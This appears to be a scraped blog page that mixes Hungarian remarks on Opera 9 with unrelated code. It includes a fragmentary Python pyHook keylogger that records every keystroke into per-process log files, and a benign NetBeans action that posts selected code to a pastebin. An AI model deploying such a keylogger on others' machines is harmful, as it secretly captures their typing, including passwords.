Navegre.
Megjelent az Opera 9 release valtozata.
Lehet upgradelni a betakat.
Scanning java annotations - reflections
2 months ago
Zeroflag's blog


>>> import pyHook, pythoncom
>>> def kbproc( evt ): print evt.Ascii
...
>>> hm = pyHook.HookManager()
>>> hm.KeyDown = kbproc
>>> hm.HookKeyboard()
>>> pythoncom.PumpMessages()
def getProcNameByPID( pid ):
h = None
try:
h = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, False, pid)
return os.path.basename( win32process.GetModuleFileNameEx( h, 0 ) )
finally:
if h: h.Close()
win32process.GetWindowThreadProcessId( evt.Window )[1]
def keyBoardProc( evt ):
if evt.Key == 'F12':
hm.KeyDown = None
hm.UnhookKeyboard()
return
if evt.Ascii:
fname = '%s.log' % ( getProcNameByPID( win32process.GetWindowThreadProcessId( evt.Window )[1] ) )
open( fname, 'a' ).write( "%c" % (evt.Ascii) )






protected void performAction(Node[] activatedNodes) {
EditorCookie c = (EditorCookie) activatedNodes[0].getCookie(EditorCookie.class);
if (c != null) {
JEditorPane[] panes = c.getOpenedPanes();
if (panes.length > 0) {
String selection = panes[0].getSelectedText();
if ( "".equals( selection ) || selection == null ) {
JOptionPane.showMessageDialog( null, "At first you have to select the code snippet." );
return;
}
Map params = new HashMap();
params.put( "nick", "netbeans" );
params.put( "descr", "netbeans code" );
params.put( "lang", "java" );
params.put( "source", selection );
try {
WebPost wp = new WebPost( "http://phpfi.com", params );
String response = wp.post();
LinkFrame lf = new LinkFrame();
lf.setLink( wp.getUrl().toString() );
lf.setVisible( true );
} catch ( Exception e ) {
e.printStackTrace();
JOptionPane.showMessageDialog( null, "error: " + e.getMessage() );
}
}
}
}
